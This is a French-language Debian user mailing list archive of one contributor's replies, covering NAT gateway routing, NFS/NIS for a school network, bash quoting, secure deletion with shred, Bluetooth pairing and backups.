Re: Linux mobilise désormais 15 % de parts sur les desktops en Inde, une performance qui contraste avec les 4 % à l'échelle globale

[Erwann Le Bras]

bonjour

désolé pour le retard.

Les grandes entreprises sont souvent liées par des contrats globaux pour 
la fourniture des PC collaborateurs et leur support.


Ces contrats incluent toute la bureautique. Par 
simplicité/méconnaissance/lobbying ces PC sont à base de Windows, Office 
et Sharepoint. Et je trouve curieux ces entreprises qui confient toutes 
leurs données à des américains parfois concurrents sur le segment. En 
tant qu'utilisateur imposé de ces solutions je n'ai pas accès à ces 
informations de sécurité.


C'est du coté serveurs que Linux s'impose (chez nous Redhat)... tant que 
le logiciel hôte le permet et que le responsable de l'infrastructure pousse.


Erwann

Le 30/04/2024 à 08:15, Alex PADOLY a écrit :


Voici le lien pour plus de détail :


Lien 




J'ai du mal à comprendre ces chiffres, LINUX à fait beaucoup de 
progrès en termes de vulgarisation, pour Debian,  j'ai commencé par la 
distribution slink,


c'était difficile, mais pas insurmontable.

Quand on voit la distribution Mint, c'est une distribution prête à 
être utilisée.


Depuis Windows 10, on a un OS qui est devenu opaque, respecte peu la 
vie privée des utilisateurs, concernant les performances, je ne peux 
m'exprimer


car je n'utilise pas ou occasionnellement au travail.


Il faut que les personnes ouvrent les yeux !!

Re: [HS] Gels Firefox/Zoom

[Erwann Le Bras]

bonjour

as-tu essayé avec l'application Zoom?

Le 25/04/2024 à 18:00, Frederic Zulian a écrit :

Bonjour,

Firefox gèle  aléatoirement. avec  Zoom
au bout de 15 à 60 mns de connexion. L'affichage de l'onglet  avec  
Zoom se gèle,  le son se

coupe au bout de quelques mns suivant.

Ensuite c'est l'ensemble du bureau qui se gèle ;...

Quelques éléments :
Firefox : 115.8.0esr-1   avec zoom extension 2.1.54
Noyau : 6.6.15-amd64

Je suis essentiellement sous xfce4 4.18 mais le problème est 
similaire  avec lxqt


Pour l'instant, la seule solution est de redémarrer la session 
graphique et les applis  


Une idée ?

Frédéric ZULIAN

Re: clavier console

[Erwann Le Bras]

Le 18/04/2024 à 13:53, Sébastien NOBILI a écrit :
P.S. autre surprise pour moi la session Kde ouverte se trouve en F2 
dans le

temps elle était en F7

Ça fait quelques versions que ça a changé.


Pas tant que ça, j'ai toujours l'environnement graphique (LXDE) sur "F7" 
en Debian Stable


Erwann

Re: Installation minimaliste

[Erwann Le Bras]

Pour Kodi faut pas créer obligatoirement un compte sur un serveur externe?

Le 24/03/2024 à 17:46, Fabien Dubois a écrit :

Bonjour,
Kodi est un media center fonctionne bien, je l'utilise avec xbian mais 
celui-ci n'est dispo que pour Raspberry Pi et assimilés.


https://kodi.tv/

https://xbian.org/

Je ne sais pas si cela répond à la question.
Fabien

Le 24/03/2024 à 17:25, Alex PADOLY a écrit :


Bonsoir à tous,


Je souhaite faire une installation minimaliste ayant pour objectifs 
de regarder des vidéos et d'écouter de la musique uniquement.


Dois-je à l'installation choisir une configuration minimale ou 
m'orienter vers une distribution légère basée sur Debian.


Enfin, connaissez-vous un paquet Debian permettant de gérer 
l'archivage de vidéo et de musique et gérant la lecture de ces deux 
types de médias.



MERCI BEAUCOUP !


Alex PADOLY

Re: Installation minimaliste

[Erwann Le Bras]

bonjour

Si c'est pour lire en local, une install de base incluant VLC ou son 
lecteur favori suffira.


Si c'est pour en faire un serveur multimédia permettant de "/streamer/" 
vers d'autres périphériques uPNP voir du coté de Gerbera (que je n'ai 
jamais réussi à faire fonctionner correctement).


Hors Debian, UMS (Universal Media Player) permet de transcoder vers des 
périphériques uPNP ou HTTP. C'est en java, il faut une config de base un 
peu costaude pour transcoder et lire en même temps.


Pour l'archivage je n'ai pas bien compris de quoi il s'agit.

bonne journée

Erwann

Le 24/03/2024 à 17:25, Alex PADOLY a écrit :


Bonsoir à tous,


Je souhaite faire une installation minimaliste ayant pour objectifs de 
regarder des vidéos et d'écouter de la musique uniquement.


Dois-je à l'installation choisir une configuration minimale ou 
m'orienter vers une distribution légère basée sur Debian.


Enfin, connaissez-vous un paquet Debian permettant de gérer 
l'archivage de vidéo et de musique et gérant la lecture de ces deux 
types de médias.



MERCI BEAUCOUP !


Alex PADOLY

Re: Pb routage NAT suite update/reboot

[Erwann Le Bras]

bonsoir

Merci à vous deux pour le debug ; le pb venait bien de la passerelle 
déclarée au niveau eth0.


Je ne comprends pas comment ça fonctionnait avant, j'en déduis que cette 
config n'était pas active.


amitiés

Le 26/02/2024 à 18:11, Erwann Le Bras a écrit :


bonsoir la team!

j'ai un serveur Debian (version stable) qui sert de passerelle entre 
mon réseau interne et l'extérieur. Il est en route en permanence et 
s'installe les mises à jour de sécurité, sans rebooter.


  * eth0 est l'interface interne, IP statique.
  * eth1 est l'interface externe,connectée à une Freebox qui lui donne
l'IP.
  * tun0 est l'interface VPN

Sur la Freebox, une DMZ redirige les flux entrants vers mon serveur 
pour ouvrir mon serveur sur l'extérieur (SSH, WEB, VPN...).


IPTable fait le tri en entrée et assure le routage des paquets à 
l'extérieur et Fail2ban bannit les indésirables.


Tout cela fonctionne depuis plusieurs années sans pb malgré les 
changements d'opérateur et de version Debian.



Récemment, une maintenance matérielle (upgrade RAM) m'a contraint à le 
redémarrer après qq mois sans histoire.


Au démarrage, rien ne va plus : extérieur difficilement joignable, NAT 
inopérant, DMZ HS (services non joignables depuis l'extérieur).


Inversement, le serveur n'a plus accès à internet (ping HS)

J'ai pensé à une régression du au noyau, un redémarrage  en version 
6.1.0-15 n'a rien donné.


uname -a
Linux quietty 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 
(2024-02-01) x86_64 GNU/Linux



J'ai trouvé des IP martiennes dans la syslog, je ne sais pas si c'est 
lié :


2024-02-26T16:51:24.146290+01:00 quietty kernel: [ 1180.427493] IPv4: 
martian source *192.168.1.1* from 45.155.91.29, on dev *eth1*
2024-02-26T16:51:24.146322+01:00 quietty kernel: [ 1180.427508] ll 
header: : *8e a8 a4 c7 35 98* 70 fc 8f 5e 60 da 08 00
2024-02-26T16:51:33.478276+01:00 quietty kernel: [ 1189.762277] IPv4: 
martian source *192.168.1.1* from 43.133.145.230, on dev *eth1*
2024-02-26T16:51:33.478309+01:00 quietty kernel: [ 1189.762292] ll 
header: : *8e a8 a4 c7 35 98* 70 fc 8f 5e 60 da 08 00
2024-02-26T16:51:36.742277+01:00 quietty kernel: [ 1193.025728] IPv4: 
martian source 1*92.168.1.1* from 179.105.36.19, on dev *eth1*
2024-02-26T16:51:36.742306+01:00 quietty kernel: [ 1193.025742] ll 
header: : *8e a8 a4 c7 35 98 *70 fc 8f 5e 60 da 08 00
2024-02-26T16:51:49.210275+01:00 quietty kernel: [ 1205.495322] IPv4: 
martian source *192.168.1.1* from 91.148.190.174, on dev *eth1*
2024-02-26T16:51:49.210305+01:00 quietty kernel: [ 1205.495335] ll 
header: : *8e a8 a4 c7 35 98* 70 fc 8f 5e 60 da 08 00
2024-02-26T16:51:58.990298+01:00 quietty kernel: [ 1215.272829] IPv4: 
martian source *192.168.1.1* from 176.111.174.29, on dev *eth1*
2024-02-26T16:51:58.990328+01:00 quietty kernel: [ 1215.272841] ll 
header: : *8e a8 a4 c7 35 9*8 70 fc 8f 5e 60 da 08 00


Je n'avais pas ça avant. Une recherche sur Internet ne m'a pas 
vraiment aidé.



Quelques éléments techniques :

* ip addr :*
1: lo:  mtu 65536 qdisc noqueue state UNKNOWN 
group default qlen 1000

    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
   valid_lft forever preferred_lft forever
2: eth0:  mtu 1500 qdisc fq_codel 
state UNKNOWN group default qlen 1000

    link/ether 00:50:bf:d8:b9:1f brd ff:ff:ff:ff:ff:ff
    altname enp5s3
    inet 192.168.2.1/24 brd 192.168.2.255 scope global eth0
   valid_lft forever preferred_lft forever
3: *eth1*:  mtu 1500 qdisc fq_codel 
state UP group default qlen 1000

    link/ether *8e:a8:a4:c7:35:98* brd ff:ff:ff:ff:ff:ff




    altname enp2s0
    inet *192.168.1.1*/24 metric 1024 brd 192.168.1.255 scope global 
dynamic eth1

   valid_lft 42186sec preferred_lft 42186sec
4: tun0:  mtu 1500 qdisc 
fq_codel state UNKNOWN group default qlen 500

    link/none
    inet 192.168.3.1/24 scope global tun0
   valid_lft forever preferred_lft forever


*configuration des interfaces :*

/etc/systemd/network/eth0.network
[Match]
Name=eth0
#MACAddress=Adresse MAC de l'interface

[Link]
#MACAddress=Changer l'adresse MAC
#MTUBytes=Changer la valeur du MTU

[Network]
Address=192.168.2.1/24
Gateway=192.168.2.1
DNS=192.168.2.1 127.0.0.1
Domains=vets.in
IPv6PrivacyExtensions=false


/etc/systemd/network/eth1.network

[Match]
Name=*eth1*

[Network]
DHCP=*ipv4*

*ip route*
default via 192.168.2.1 dev eth0 proto static
default via 192.168.1.254 dev eth1 proto dhcp src 192.168.1.1 metric 1024
192.168.1.0/24 dev eth1 proto kernel scope link src 192.168.1.1 metric 
1024

192.168.1.1 dev eth1 proto dhcp scope host src 192.168.1.1 metric 1024
192.168.1.254 dev eth1 proto dhcp scope link src 192.168.1.1 metric 1024
192.168.2.0/24 dev eth0 proto kernel scope link src 192.168.2.1
192.168.3.0/24 dev tun0 proto kernel scope link src 192.168.3.1

(192.168.1.254 : Freebox)


*iptables -L -v*
Chain INPUT (policy DROP 582 packets, 64731 bytes)
 pkts bytes target prot

Pb routage NAT suite update/reboot

[Erwann Le Bras]

bonsoir la team!

j'ai un serveur Debian (version stable) qui sert de passerelle entre mon 
réseau interne et l'extérieur. Il est en route en permanence et 
s'installe les mises à jour de sécurité, sans rebooter.


 * eth0 est l'interface interne, IP statique.
 * eth1 est l'interface externe,connectée à une Freebox qui lui donne l'IP.
 * tun0 est l'interface VPN

Sur la Freebox, une DMZ redirige les flux entrants vers mon serveur pour 
ouvrir mon serveur sur l'extérieur (SSH, WEB, VPN...).


IPTable fait le tri en entrée et assure le routage des paquets à 
l'extérieur et Fail2ban bannit les indésirables.


Tout cela fonctionne depuis plusieurs années sans pb malgré les 
changements d'opérateur et de version Debian.



Récemment, une maintenance matérielle (upgrade RAM) m'a contraint à le 
redémarrer après qq mois sans histoire.


Au démarrage, rien ne va plus : extérieur difficilement joignable, NAT 
inopérant, DMZ HS (services non joignables depuis l'extérieur).


Inversement, le serveur n'a plus accès à internet (ping HS)

J'ai pensé à une régression du au noyau, un redémarrage  en version 
6.1.0-15 n'a rien donné.


uname -a
Linux quietty 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 
(2024-02-01) x86_64 GNU/Linux



J'ai trouvé des IP martiennes dans la syslog, je ne sais pas si c'est lié :

2024-02-26T16:51:24.146290+01:00 quietty kernel: [ 1180.427493] IPv4: 
martian source *192.168.1.1* from 45.155.91.29, on dev *eth1*
2024-02-26T16:51:24.146322+01:00 quietty kernel: [ 1180.427508] ll 
header: : *8e a8 a4 c7 35 98* 70 fc 8f 5e 60 da 08 00
2024-02-26T16:51:33.478276+01:00 quietty kernel: [ 1189.762277] IPv4: 
martian source *192.168.1.1* from 43.133.145.230, on dev *eth1*
2024-02-26T16:51:33.478309+01:00 quietty kernel: [ 1189.762292] ll 
header: : *8e a8 a4 c7 35 98* 70 fc 8f 5e 60 da 08 00
2024-02-26T16:51:36.742277+01:00 quietty kernel: [ 1193.025728] IPv4: 
martian source 1*92.168.1.1* from 179.105.36.19, on dev *eth1*
2024-02-26T16:51:36.742306+01:00 quietty kernel: [ 1193.025742] ll 
header: : *8e a8 a4 c7 35 98 *70 fc 8f 5e 60 da 08 00
2024-02-26T16:51:49.210275+01:00 quietty kernel: [ 1205.495322] IPv4: 
martian source *192.168.1.1* from 91.148.190.174, on dev *eth1*
2024-02-26T16:51:49.210305+01:00 quietty kernel: [ 1205.495335] ll 
header: : *8e a8 a4 c7 35 98* 70 fc 8f 5e 60 da 08 00
2024-02-26T16:51:58.990298+01:00 quietty kernel: [ 1215.272829] IPv4: 
martian source *192.168.1.1* from 176.111.174.29, on dev *eth1*
2024-02-26T16:51:58.990328+01:00 quietty kernel: [ 1215.272841] ll 
header: : *8e a8 a4 c7 35 9*8 70 fc 8f 5e 60 da 08 00


Je n'avais pas ça avant. Une recherche sur Internet ne m'a pas vraiment 
aidé.



Quelques éléments techniques :

* ip addr :*
1: lo:  mtu 65536 qdisc noqueue state UNKNOWN 
group default qlen 1000

    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
   valid_lft forever preferred_lft forever
2: eth0:  mtu 1500 qdisc fq_codel state 
UNKNOWN group default qlen 1000

    link/ether 00:50:bf:d8:b9:1f brd ff:ff:ff:ff:ff:ff
    altname enp5s3
    inet 192.168.2.1/24 brd 192.168.2.255 scope global eth0
   valid_lft forever preferred_lft forever
3: *eth1*:  mtu 1500 qdisc fq_codel 
state UP group default qlen 1000

    link/ether *8e:a8:a4:c7:35:98* brd ff:ff:ff:ff:ff:ff
    altname enp2s0
    inet *192.168.1.1*/24 metric 1024 brd 192.168.1.255 scope global 
dynamic eth1

   valid_lft 42186sec preferred_lft 42186sec
4: tun0:  mtu 1500 qdisc 
fq_codel state UNKNOWN group default qlen 500

    link/none
    inet 192.168.3.1/24 scope global tun0
   valid_lft forever preferred_lft forever


*configuration des interfaces :*

/etc/systemd/network/eth0.network
[Match]
Name=eth0
#MACAddress=Adresse MAC de l'interface

[Link]
#MACAddress=Changer l'adresse MAC
#MTUBytes=Changer la valeur du MTU

[Network]
Address=192.168.2.1/24
Gateway=192.168.2.1
DNS=192.168.2.1 127.0.0.1
Domains=vets.in
IPv6PrivacyExtensions=false


/etc/systemd/network/eth1.network

[Match]
Name=*eth1*

[Network]
DHCP=*ipv4*

*ip route*
default via 192.168.2.1 dev eth0 proto static
default via 192.168.1.254 dev eth1 proto dhcp src 192.168.1.1 metric 1024
192.168.1.0/24 dev eth1 proto kernel scope link src 192.168.1.1 metric 1024
192.168.1.1 dev eth1 proto dhcp scope host src 192.168.1.1 metric 1024
192.168.1.254 dev eth1 proto dhcp scope link src 192.168.1.1 metric 1024
192.168.2.0/24 dev eth0 proto kernel scope link src 192.168.2.1
192.168.3.0/24 dev tun0 proto kernel scope link src 192.168.3.1

(192.168.1.254 : Freebox)


*iptables -L -v*
Chain INPUT (policy DROP 582 packets, 64731 bytes)
 pkts bytes target prot opt in out source   
destination

30176 2346K ACCEPT all  --  lo any anywhere anywhere
 3225  522K ACCEPT all  --  eth0   any anywhere anywhere
 820K 1189M ACCEPT all  --  any    any anywhere 
anywhere 

Re: utilisation de nis et nfs pour un réseau de 32 postes

[Erwann Le Bras]

Bonjour

Peut-être faire des essais avec SSHFS? le $HOME des utilisateurs serait 
monté sur chaque client au boot.


Mais je ne sais pas si c'est plus efficace que NFS.

Le 20/02/2024 à 12:26, Pierre Malard a écrit :

Ou ahh ! NIS, ça ne me rajeuni pas ça ;-)
Et pourquoi pas un LDAP pour l’authentification ?

Pour ce qui du montage direct du répertoire partagé sur la home dir ce 
n’est pas judicieux car ça va ramer dur si on fait une utilisation 
gourmande en entrée sortie.
Si je me souviens de ce qu’on avait fait ici c’est d’utiliser PAM et 
autofs pour gérer les accès sur les postes avec :


  * Création de la home dir à la volée si besoin depuis un squelette
qui contient un point de montage pour NFS
  * Montage du répertoire partagé de l’utilisateur dans $HOME/NFS


Comme ça l’utilisateur n’est pas ralenti dans ses compilations par 
exemple et peut accéder à ses données dans le répertoire ~/NFS



Le 20 févr. 2024 à 08:34, olivier  a 
écrit :


Bonjour,

J'ai un réseau totalement avec débian 11 (que je compte mettre à jour 
avec la version 12), constitué d'un serveur avec deux cartes réseau, 
l'une reliée à l’extérieur par la fibre (DHCP) et l'autre carte 
(Adresse IP fixe 192.168.200.0) reliée à un switch. Ce switch est 
relié à 32 postes (avec IP fixe de 192.168.200.10 à 192.168.200.50, 
adresse de la passerelle 192.168.200.0, masque de sous réseau 
255.255.255.0).


Les 32 postes sont utilisés par une classe d'élèves. J'ai 200 élèves 
à gérer, donc 200 profil différent.


Pour que chaque poste accède à internet, j'ai fais

iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Est ce judicieux ?

J'ai essayé avec NIS avec debian 11, l'authentification à l'air de 
bien fonctionner. Pour l'authentification, NIS est il bien adapté 
pour ce genre de configuration ?


Par contre au niveau de l'export (NFS), cela rame un peu (je me rend 
compte que j'exporte l'ensemble du home serveur sur tous les clients 
et non celui uniquement de l'utilisateur). Comment faire pour 
exporter sur la machine cliente uniquement le profil de l'utilisateur 
et non tous les utilisateurs ?


Sur le serveur, j'ai mis à la fin dans le fichier /etc/exports

/home/NFS_Partage 192.168.200.1/24(rw,sync,no_subtree_check)
mais j'hésite avec

/home/NFS_Partage 
192.168.0.0/24(rw,all_squash,anonuid=1000,anongid=1000,sync,no_subtree_check)


Sur le client, j'ai mis à la fin dans le fichier fstab

DomaineNFS:/home/NFS_Partage /home nfs defaults    0 0

On m'a parlé de LDAP, mais je ne sais pas trop comment m'y prendre. 
Est il préférable d'utiliser LDAP ou NIS pour l'authentification ? 
Existe il un petit manuel simple pour créer 200 utilisateurs.


Mon réseau fonctionne, mais rame beaucoup au delà de 4 utilisateurs ? 
et je n'arrive pas à trouver une solution.


Un grand merci pour votre aide.

Olivier





--
Pierre Malard

  « /La façon de donner vaut mieux que ce que l'on donne /»
                   Pierre Corneille (1606-1684) - Le menteur
|\      _,,,---,,_
/,`.-'`'    -.  ;-;;,_
|,4-  ) )-,_. ,\ (  `'-'
 '---''(_/--' `-'\_)   πr

perl -e '$_=q#: 3|\ 5_,3-3,2_: 3/,`.'"'"'`'"'"' 5-.  ;-;;,_:  |,A-  ) 
)-,_. ,\ (  `'"'"'-'"'"': '"'"'-3'"'"'2(_/--'"'"'  `-'"'"'\_): 
24πr::#;y#:#\n#;s#(\D)(\d+)#$1x$2#ge;print'

- --> Ce message n’engage que son auteur <--

Re: Effacement réel de fichiers

[Erwann Le Bras]

bonjour

Korben recommande "shred" ou "secure-delete"

source : https://korben.info/supprimer-fichier-sans-trace.html

Erwann

Le 02/02/2024 à 21:32, kaliderus a écrit :

Bonjour, bonsoir chers Debianeux,

Connaissez-vous un outil qui permette de mettre des 0 (ou des 1 ou
n'importe quoi aléatoirement) partout là où un fichier n'est plus
référencé dans le système de fichiers (du ext4 dans mon cas) ?

En effet, mon idée est d'avoir une confidentialité maximale (avec les
moyens qui sont les miens), donc un effacement total de chaque bit des
fichiers qui ont été supprimés (typiquement pour pas que par exemple
photorec puisse retrouver quoi que ce soit).

Le disque de données est un SSD.

J'ai beau googler le sujet depuis quelques jours je ne trouve rien, ou
alors je n'ai pas les bons mots clés, snif...

Merci par avance pour votre aimable collaboration.
K.

Re: problèmes de copie sur un montage smb, crash kernel

[Erwann Le Bras]

bonjour

Pas de pb constaté pour ma part. Peut-être que le fautif serait le serveur?

Pour ma part :

erwann@inspiron:~$ uname -a
Linux inspiron *6.1.0-17-amd64* #1 SMP PREEMPT_DYNAMIC Debian 6.1.69-1 
(2023-12-30) x86_64 GNU/Linux

erwann@inspiron:~$ grep synology /etc/fstab
#synology:/volume1/pub        /mnt/pub        nfs 
nofail,soft,timeo=5,intr,rsize=8192,wsize=8192,users,atime,rw,dev,exec,suid 
0    0
synology:/volume1/pub        /mnt/pub        nfs 
nofail,rsize=8192,wsize=8192,timeo=14    0    0
#synology:/volume1/backup    /mnt/backup nfs 
nofail,rsize=8192,wsize=8192,timeo=14,intr  0   0
synology:/volume1/backup    /mnt/backup        nfs 
nofail,soft,timeo=5,intr,rsize=8192,wsize=8192,users,atime,rw,dev,exec,suid 
0    0
#synology:/volume1/backup    /mnt/backup        nfs 
nofail,rsize=8192,wsize=8192,timeo=14    0    0


Les copies fonctionnent sans problème.

Dans mon cas, le serveur NFS est un NAS Synology DS216se

Je ne me souviens plus pourquoi j'ai des options différentes pour les 
deux points de montage.


Erwann

Le 02/02/2024 à 21:28, testeur a écrit :

J'ai tenté les trois options de montage mais pas mieux.
Le log du crash noyau est quasi identique.

Ça semble venir du noyau 6.1.0-17.

Car avec le noyau 6.1.0-10, pas de problèmes

Je vais rester sur le noyau précédent...

Cdlt

On 01/02/2024 10:11, Michel Verdier wrote:

Le 31 janvier 2024 testeur a écrit :


voici les droits du montage :

├─/mnt/xxx /etc/autoxxx.smb autofs 
rw,relatime,fd=12,pgrp=1561,timeout=30,minproto=5,maxproto=5,indirect,pipe_ino=22915

│ └─/mnt/xxx/conf
//xx.xx.xx.xx/xxx/conf cifs
rw,relatime,vers=3.1.1,cache=strict,username=xxx,uid=1000,noforceuid,gid=1000,noforcegid,addr=xx.xx.xx.xx,file_mode=0755,dir_mode=0755,soft,nounix,serverino,mapposix,rsize=4194304,wsize=4194304,bsize=1048576,echo_interval=60,actimeo=1,closetimeo=1 


Tu peux peut-être essayer avec cache=none et hard (au lieu de soft) pour
voir si tu obtiens plus d'infos. Tu peux aussi jouer avec echo_interval
si ton réseau ou ton serveur distant est lent. Je ne me souviens plus
pour autofs mais son timeout ne devrait-il pas être plus élevé que celui
de cifs ?

Re: Script BASH gestion des espaces des noms de fichier

[Erwann Le Bras]

Effectivement François

Merci d'avoir rectifié.

Erwann

Le 02/02/2024 à 13:09, François TOURDE a écrit :

Le 19755ième jour après Epoch,
Erwann Le Bras écrivait:


Éviter les boucles "for" avec listes de fichiers (for f in `ls
"$dir"`) ou (for f in *), les espaces sont mal interprétés.

Ça marche très bien l'utilisation avec for f in *, si tu prends soin
d'utiliser "$f" plutôt que juste $f

Par contre, le "in `ls *`" n'est effectivement pas une bonne idée.

Re: Script BASH gestion des espaces des noms de fichier

[Erwann Le Bras]

bonjour

comme dis par ailleurs, pas de problème avec les espaces si les 
variables et chemins sont bien protégés  avec des doubles-cotes (["])


fichier="mon fichier"
dir="$HOME/mon répertoire"
cp "$fichier" "$dir"

Éviter les boucles "for" avec listes de fichiers (for f in `ls "$dir"`) 
ou (for f in *), les espaces sont mal interprétés.

À la place utiliser "find" : find "$dir" -name "${fichier}*" -exec

c'est à peu près tout.

Erwann

Le 02/02/2024 à 08:41, Informatique BILLARD a écrit :


Bonjour

j'ai écrit un petit script qui lance à la fin cette commande :

pdftk $fichier1 stamp $tampon output $fichier2

avec $fichier1 et $tampon, $fichier2  sont construit à partir des 
paramètres fournis au script .


Mais je rencontre un problème quand il y a un espace dans le nom de 
fichier ou le répertoire pour pdftk ces espaces engendrent une erreur.


J'ai pourtant placé l’antislash avant mes espace dans l'affectation 
des variables.


tampon=/user/Document/cachet*\ *pdf

Merci par avance

François-Marie

Re: souris 2.4Ghz sans dongle bluetooth

[Erwann Le Bras]

Alors ta souris a peut-être été appairé avec trop de périphériques 
différents, ce qui t'oblige à supprimer une connexion pour en rajouter une.


Peut-être qu'une réinitialisation permettrait de libérer les slots 
d'appairage et donc pouvoir l'appairer avec ton Win et ta Debian 
simultanément.


Erwann.

Le 24/01/2024 à 12:37, Fabien Dubois a écrit :


Le 24/01/2024 à 10:13, Erwann Le Bras a écrit :

bonjour

j'ai une souris Logitech qui permet d'être associées à 3 
périphériques, dont 1 directement en BT (non utilisé). Du coup j'ai 1 
clavier, 1 souris pour 2 PC allumés sur mon bureau. Il me suffit de 
déplacer le dongle à une machine inconnue de la souris pour qu'elle 
soit reconnue du PC quelque soit son OS. C'est le Dongle qui porte 
l'"intelligence" de la connectique.


Le soucis d'appariement exclusif sous Windows ou Debian est que c'est 
une souris BT qui ne s'apparie qu'avec un seul périphérique, et que 
cette souris doit voir différemment le dongle BT sous Win et Debian. 
Peut-être qu'en forçant le nom (même nom de périphérique) sous 
Windows et Debian pourrait peut-être "leurrer" la souris? Et pareil 
pour la référence du "Device" host sous Windows et Debian.


En tout cas ça marche bien en Wifi ou on peut remplacer un récepteur 
Wifi par un autre juste en conservant le même nom et mot  de passe 
sur le nouveau. Les périphériques qui avaient l'habitude de se 
connecter à l'ancien se connectent au nouveau sans problème. Qu'on me 
parle ensuite de "sécurité" du wifi


amitiés

Erwann


Bonjour, je comprend bien, sauf que :

souris BT exclusivement, vendue sans dongle (elle n'en a pas besoin)

appairage sous debian puis sous win11 sans problème, puis disparition 
lors du redémarrage debian (souris invisible pour le BT) j'en conclus 
qu'à priori la souris peut s'appairer à plusieurs sources en même 
temps (confirmé par le très court manuel, oui elle peut).


désappairage sous win11, la souris réapparait sous debian. appairage 
sous debian, reboot, souris visible sous win11, appairage, aucun 
souci, reboot debian souris de nouveau disparue etc


Fab

PS Erwann, désolé pour le message perso, erreur de manip sous thunderbird

Re: Backup système

[Erwann Le Bras]

j'avais compris que c'était pour pouvoir restaurer une machine entière ; 
un outil universel en ligne de commande est l'idéal.


*Déjà Dup* pourrait t'intéresser. Je ne l'utilise pas, mais il serait 
dans les dépôts. https://launchpad.net/deja-dup
même si plus rien ne fonctionne, il permettrait d'utiliser duplicity en 
ligne de commande pour restaurer.


Erwann

Le 06/12/2023 à 20:57, Belaïd a écrit :

Duplicati, duplicity mais pour les gens qui préfèrent le mode graphique !

Le mer. 6 déc. 2023 à 18:11, Erwann Le Bras 
 a écrit :


bonjour

j'utilise duplicity en ligne de commande. Disponible dans les
dépôts, simple d'utilisation.

Le 05/12/2023 à 16:28, Alex PADOLY a écrit :


Bonsoir à tous,


Sous Debian, j'ai installé et configuré un serveur LTSP, j'ai
appris beaucoup de choses.

Cela n'a pas été facile, c'est pour cette raison que je souhaite
effectuer un backup de mon système

pour pouvoir le restaurer à l'identique en cas de problème ou si
un paquet pose des problèmes.


Il existe beaucoup de logiciels, mais je souhaite me reposer sur
vos expériences personnelles et professionnelles.

CLONEZILLA ne m'a pas donné de satisfaction en termes de simplicité.

Je recherche donc un outil qui privilégie, la fiabilité de la
sauvegarde, la simplicité, la prise en charge du MBR et donc de
GRUB et bien entendu la restauration.

Outils ne signifie pas obligatoirement un logiciel, cela peut
être aussi des commandes GNU.


Merci pour vos conseils.

Re: le bluez de la doc de bluez (+wireplumber)

[Erwann Le Bras]

edit

chez moi, la commande bluetoothctl --help donne toutes les commandes 
applicables :


$ bluetoothctl --help
bluetoothctl ver 5.66
Usage:
    bluetoothctl [--options] [commands]
Options:
    --agent     Register agent handler: 
    --endpoints     Register Media endpoints
    --monitor     Enable monitor output
    --timeout     Timeout in seconds for non-interactive mode
    --version     Display version
    --help         Display help
Commands:
    list        List available controllers
    show        Controller information
    select        Select default controller
    devices        List available devices, with an optional property as 
the filter

    system-alias    Set controller alias
    reset-alias    Reset controller alias
    power        Set controller power
    pairable    Set controller pairable mode
    discoverable    Set controller discoverable mode
    discoverable-timeout    Set discoverable timeout
    agent        Enable/disable agent with given capability
    default-agent    Set agent as the default one
    advertise    Enable/disable advertising with given type
    set-alias    Set device alias
    scan        Scan for devices
    info        Device information
    pair        Pair with device
    cancel-pairing    Cancel pairing with device
    trust        Trust device
    untrust        Untrust device
    block        Block device
    unblock        Unblock device
    remove        Remove device
    connect        Connect device
    disconnect    Disconnect device
[...]

Le 20/11/2023 à 11:48, Erwann Le Bras a écrit :


bonjour

mémo rapide bluetoothctl :

  * liste des périphériques :  bluetoothctl devices
  * scan : bluetoothctl scan on
  * appairer : bluetoothctl pair 
  * rendre un périphérique sécurisé/connu : bluetoothctl trust 

c'est les commandes que j'utilise couramment.

aide complète : bluetoothctl --help

Erwann

Le 17/11/2023 à 19:49, Marc Chantreux a écrit :

salut à tous,

Je tente de connecter un casque USB. Pour le moment, j'ai réussi
à enregistrer le périphérique

# bluetoothctl devices |grep W
Device 14:XX:XX:XX:XX:XX WH-XB900N

et il me faut maintenant le pairer. Et là surprise: toutes ces
commandes ne servent à peu pret à rien:

man bluetoothctl
bluetoothctl --help
apropos bluetoothctl
apropos bluez
info

"il me manque un paquet de doc", me dis-je, mais

# aptitude search '~nbluez ~ndoc'
libkf5bluezqt-doc - documentation files for bluez-qt

bon ... je me résigne:

apt-cache show bluez |
sed '/^Homepage: /!d;s///;q' |
xargs chromium

ce qui me fait visiterhttp://www.bluez.org. Sauf que même ici

* pas d'onglet doc.
* la FAQ est moins longue que celle de la WTFPL (http://www.wtfpl.net/faq/)

dans la page download, je trouve "User Space BlueZ Package". Cool!

curlhttp://www.kernel.org/pub/linux/bluetooth/bluez-5.66.tar.xz  |
tar xz
grep -F bluetoothctl blu*/doc

et là encore je ne trouve rien (ou plutôt une ligne).

Y'a pas de docs ou c'est moi qui ne sais plut chercher?

cordialement,
marc

Re: le bluez de la doc de bluez (+wireplumber)

[Erwann Le Bras]

bonjour

mémo rapide bluetoothctl :

 * liste des périphériques :  bluetoothctl devices
 * scan : bluetoothctl scan on
 * appairer : bluetoothctl pair 
 * rendre un périphérique sécurisé/connu : bluetoothctl trust 

c'est les commandes que j'utilise couramment.

aide complète : bluetoothctl --help

Erwann

Le 17/11/2023 à 19:49, Marc Chantreux a écrit :

salut à tous,

Je tente de connecter un casque USB. Pour le moment, j'ai réussi
à enregistrer le périphérique

# bluetoothctl devices |grep W
Device 14:XX:XX:XX:XX:XX WH-XB900N

et il me faut maintenant le pairer. Et là surprise: toutes ces
commandes ne servent à peu pret à rien:

man bluetoothctl
bluetoothctl --help
apropos bluetoothctl
apropos bluez
info

"il me manque un paquet de doc", me dis-je, mais

# aptitude search '~nbluez ~ndoc'
libkf5bluezqt-doc - documentation files for bluez-qt

bon ... je me résigne:

apt-cache show bluez |
sed '/^Homepage: /!d;s///;q' |
xargs chromium

ce qui me fait visiterhttp://www.bluez.org. Sauf que même ici

* pas d'onglet doc.
* la FAQ est moins longue que celle de la WTFPL (http://www.wtfpl.net/faq/)

dans la page download, je trouve "User Space BlueZ Package". Cool!

curlhttp://www.kernel.org/pub/linux/bluetooth/bluez-5.66.tar.xz  |
tar xz
grep -F bluetoothctl blu*/doc

